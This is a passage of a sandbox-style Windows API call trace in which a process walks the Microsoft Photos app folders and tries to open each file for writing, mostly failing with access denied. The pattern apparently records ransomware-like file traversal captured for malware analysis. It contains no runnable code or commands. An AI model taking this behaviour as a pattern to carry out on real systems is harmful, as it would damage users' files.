	[0091.017] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-125.png")) returned 0x20
	[0091.020] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.020] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.020] GetLastError () returned 0x5
	[0091.020] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.020] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.scale-125.png", cAlternateFileName="")) returned 1
	[0091.020] wcscmp (_String1="PhotosSmallTile.scale-125.png", _String2=".") returned 1
	[0091.020] wcscmp (_String1="PhotosSmallTile.scale-125.png", _String2="..") returned 1
	[0091.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d86010
	[0091.020] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.020] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.020] wcscat (in: _Dest=0x2d86010, _Source="PhotosSmallTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png"
	[0091.021] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.scale-125.png")) returned 0x20
	[0091.021] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.021] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.021] GetLastError () returned 0x5
	[0091.021] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.021] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0091.021] wcscmp (_String1="PhotosWideTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0091.021] wcscmp (_String1="PhotosWideTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0091.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d86010
	[0091.021] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.021] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.021] wcscat (in: _Dest=0x2d86010, _Source="PhotosWideTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png"
	[0091.021] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-125.png")) returned 0x20
	[0091.023] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.024] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.024] GetLastError () returned 0x5
	[0091.024] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.024] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.024] wcscmp (_String1="PhotosWideTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.024] wcscmp (_String1="PhotosWideTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d85ee8
	[0091.024] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.024] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.024] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosWideTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png"
	[0091.024] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-125.png")) returned 0x20
	[0091.025] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.025] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.025] GetLastError () returned 0x5
	[0091.026] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.026] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-125.png", cAlternateFileName="")) returned 1
	[0091.026] wcscmp (_String1="PhotosWideTile.scale-125.png", _String2=".") returned 1
	[0091.026] wcscmp (_String1="PhotosWideTile.scale-125.png", _String2="..") returned 1
	[0091.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4782e90
	[0091.026] wcscpy (in: _Dest=0x4782e90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.026] wcscat (in: _Dest=0x4782e90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.026] wcscat (in: _Dest=0x4782e90, _Source="PhotosWideTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png"
	[0091.026] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.scale-125.png")) returned 0x20
	[0091.026] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.026] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoswidetile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.026] GetLastError () returned 0x5
	[0091.026] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782e90) returned 1
	[0091.026] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-125.png", cAlternateFileName="")) returned 0
	[0091.026] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0091.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c948) returned 1
	[0091.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d088) returned 1
	[0091.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0091.027] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a9b5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lumia.ViewerPlugin", cAlternateFileName="LUMIA~1.VIE")) returned 1
	[0091.027] wcscmp (_String1="Lumia.ViewerPlugin", _String2=".") returned 1
	[0091.027] wcscmp (_String1="Lumia.ViewerPlugin", _String2="..") returned 1
	[0091.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5027f00
	[0091.027] wcscpy (in: _Dest=0x5027f00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0091.027] wcscat (in: _Dest=0x5027f00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0091.027] wcscat (in: _Dest=0x5027f00, _Source="Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026958
	[0091.028] wcscpy (in: _Dest=0x5026958, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.028] wcscat (in: _Dest=0x5026958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\"
	[0091.028] wcscat (in: _Dest=0x5026958, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*"
	[0091.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c948
	[0091.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*", lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a9b5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b368
	[0091.028] wcscmp (_String1=".", _String2=".") returned 0
	[0091.028] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a9b5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.028] wcscmp (_String1="..", _String2=".") returned 1
	[0091.028] wcscmp (_String1="..", _String2="..") returned 0
	[0091.028] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1139167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.028] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.028] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x47169c8
	[0091.028] wcscpy (in: _Dest=0x47169c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.028] wcscat (in: _Dest=0x47169c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\"
	[0091.028] wcscat (in: _Dest=0x47169c8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x4782e90
	[0091.028] wcscpy (in: _Dest=0x4782e90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.028] wcscat (in: _Dest=0x4782e90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.028] wcscat (in: _Dest=0x4782e90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*"
	[0091.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502cbb0
	[0091.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*", lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1139167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0a8
	[0091.033] wcscmp (_String1=".", _String2=".") returned 0
	[0091.033] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1139167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.033] wcscmp (_String1="..", _String2=".") returned 1
	[0091.033] wcscmp (_String1="..", _String2="..") returned 0
